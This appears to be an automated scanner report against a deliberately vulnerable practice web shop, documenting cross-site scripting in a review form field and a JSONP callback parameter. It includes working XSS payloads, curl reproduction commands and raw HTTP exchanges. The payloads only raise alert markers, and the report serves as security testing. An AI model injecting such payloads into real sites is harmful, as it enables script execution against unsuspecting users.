<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

larger_replace HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1762
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

an HTML tag HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=sksemszl%3Csksems%3Eoduyt&body=

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

sentinel0 HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1762
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

sentinel1 HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1769
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a class='on' href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a h

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS: requires delivering a crafted link
class: xss injection

GET/product.php query string · body confirmed · high confidence BL-018 medium

Evidence. A payload placed in body was executed by the browser: loading the URL below raised a dialog containing our one-time token sksm2easr. Nothing about this is inferred - the code ran.

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

What we verified The browser executed a payload placed in this parameter: the page's own alert() call was captured with our one-time token in it.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: GET https://sekumart.sekuripy.hr/product.php?id=1
input: body in the query string
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The browser executed our payload confirmed

payload "><svg onload=alert(/sksm2easr/)>

lands in element text, where a new tag can be opened

execution CONFIRMED the page's own alert() call, captured instead of shown, carrying [sekuscan:alert] /sksm2easr/

Why this proves it. The browser executed it and raised a dialog carrying our one-time token.

Reproduce

fill_submit https://sekumart.sekuripy.hr/product.php?id=1 bytes — a dialog reading sksm2easr appears

execute

curl -i -X POST 'https://sekumart.sekuripy.hr/reviews.php' \
  -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
  -H 'content-type: application/x-www-form-urlencoded' \
  -H 'origin: https://sekumart.sekuripy.hr' \
  -H 'referer: https://sekumart.sekuripy.hr/product.php?id=1' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)' \
  --data-raw 'product_id=1&author=&body=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm2easr%2F%29%3E'

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=&body=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm2easr%2F%29%3E

Raw exchanges — 2 recorded request/response pairs

execute HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=&body=%22%3E%3Csvg+onload%3Dalert%28%2Fsksm2easr%2F%29%3E

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:52 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

execute_quiet HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=&body=%22%3E%3Csvg+onload%3Ddocument.title%3D%2Fsksm2easr%2F.source%3E

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:53 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS, proven by the browser executing the payload
class: xss injection

POST/reviews.php form body · body confirmed · high confidence BL-019 medium

Evidence. The value of body comes back inside element text, where a new tag can be opened. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

w'><b></b> on <i>Quantum USB Cable</i><p>ilnhj">:;<`/'msylk</p></div><div class='review'><b></b> on <i>Quantum USB Cable</i><p>sksilnhj<>msylk</p></div><div class='review'><b></b> on <i>Quantum USB Cable</i><p>sksilnhj:`/;<>"'msylk</p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>t

What we verified The value is reflected into a position where the browser parses it as markup or script, with the characters that position needs left unencoded.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: POST https://sekumart.sekuripy.hr/reviews.php
input: body in the form body
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The value is parsed as markup confirmed

payload

sks'ilnhj:`/;<>"'msylk

lands in

element text, where a new tag can be opened

survived unencoded

" ' / : ; < > `

w'><b></b> on <i>Quantum USB Cable</i><p>ilnhj">:;<`/'msylk</p></div><div class='review'><b></b> on <i>Quantum USB Cable</i><p>sksilnhj<>msylk</p></div><div class='review'><b></b> on <i>Quantum USB Cable</i><p>sksilnhj:`/;<>"'msylk</p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>the shop</i><p></p></div><div class='review'><b></b> on <i>t

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

Reproduce

navigate https://sekumart.sekuripy.hr/reviews.php bytes

a longer marker appended to the value

curl -i -X GET 'https://sekumart.sekuripy.hr/reviews.php' \
  -H 'content-type: application/x-www-form-urlencoded'

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

Raw exchanges — 4 recorded request/response pairs

a longer marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1956
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

a shorter marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1956
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

larger_replace HTTP 200 https://sekumart.sekuripy.hr/reviews.php

request

GET /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/x-www-form-urlencoded

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1956
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:47 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — reviews</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

an HTML tag HTTP 302 https://sekumart.sekuripy.hr/reviews.php

request

POST /reviews.php HTTP/1.1
Host: sekumart.sekuripy.hr
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
content-type: application/x-www-form-urlencoded
origin: https://sekumart.sekuripy.hr
referer: https://sekumart.sekuripy.hr/product.php?id=1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 SekuScan/0.1.0 (+https://www.sekuscan.com/)

product_id=1&author=&body=sksilnhj%3Csksiln%3Emsylk

response

HTTP/1.1 302
cache-control: no-store, no-cache, must-revalidate
content-length: 0
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
location: /reviews.php
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

Detection details — how this was found and rated

checks: injection/xss
rating basis: P3 - reflected XSS: requires delivering a crafted link
class: xss injection

GET/api.php query string · callback confirmed · high confidence BL-020 medium

Evidence. A payload placed in callback was executed by the browser: loading the URL below raised a dialog containing our one-time token sksde7km2. Nothing about this is inferred - the code ran.

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

cb'lfeda/<;>`"':gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

What we verified The browser executed a payload placed in this parameter: the page's own alert() call was captured with our one-time token in it.

Assessment boundary: No session was stolen, no request was made on a user's behalf, and no payload was left behind beyond the marker strings listed in the scope statement.

location: GET https://sekumart.sekuripy.hr/api.php proved with 2 payloads
input: callback in the query string
authentication: none - reachable anonymously
classification: CWE-79 · WASC-8
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-INPV-01, WSTG-INPV-02 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

The value is parsed as markup confirmed

payload

cb'lfeda/<;>`"':gvunz

lands in

a JavaScript callback expression loaded as a script

survived unencoded

" ' / : ; < > `

cb'lfeda/<;>`"':gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

Why this proves it. The value is parsed as markup in that position, with the characters the position needs left unencoded.

Additional corroboration — 2

Reflected XSS in callback — a JavaScript callback expression loaded as a script
The value of callback comes back inside a JavaScript callback expression loaded as a script. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.
Reflected XSS in callback — the response body, which is served as plain text
The value of callback comes back inside the response body, which is served as plain text. The characters that position needs in order to execute arrived unfiltered, so a payload placed here runs.

Reproduce

script_load https://sekumart.sekuripy.hr/api.php?callback=%3Balert%28/sksde7km2/%29%3B// bytes — a dialog reading sksde7km2 appears
navigate https://sekumart.sekuripy.hr/api.php?callback=cb%27lfeda/%3C%3B%3E%60%22%27%3Agvunz bytes

a longer marker appended to the value

curl -i -X GET 'https://sekumart.sekuripy.hr/api.php?callback=cb%27lfeda/%3C%3B%3E%60%22%27%3Agvunz'

GET /api.php?callback=cb%27lfeda/%3C%3B%3E%60%22%27%3Agvunz HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

a longer marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=cb%27lfeda/%3C%3B%3E%60%22%27%3Agvunz

request

GET /api.php?callback=cb%27lfeda/%3C%3B%3E%60%22%27%3Agvunz HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 271
content-type: application/javascript
date: Thu, 17 Sep 2026 09:57:32 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

cb'lfeda/<;>`"':gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

a shorter marker appended to the value HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=cblfeda%3C%3Egvunz

request

GET /api.php?callback=cblfeda%3C%3Egvunz HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 264
content-type: application/javascript
date: Thu, 17 Sep 2026 09:57:32 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

cblfeda<>gvunz([{"id":"1","name":"Quantum USB Cable","price":"9.99"},{"id":"2","name":"Self-Stirring Mug","price":"14.50"},{"id":"3","name":"Regex T-Shirt","price":"19.00"},{"id":"4","name":"The Art of Off-By-One","price":"29.95"},{"id":"5","name":"Blinkenlights Kit","price":"42.00"},{"id":"6","name":"404 Hoodie","price":"39.00"},{"id":"7","name":"Rubber Duck (Debugging Grade)","price":"6.50"},{"id":"8","name":"Clean Code, Dirty Deadlines","price":"24.99"}])

larger_replace HTTP 200 https://sekumart.sekuripy.hr/api.php?callback=lfeda%27%22%3C%3A%3B/%60%3Egvunz

request

GET /api.php?callback=lfeda%27%22%3C%3A%3B/%60%3Egvunz HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 268
content-type: application/javascript
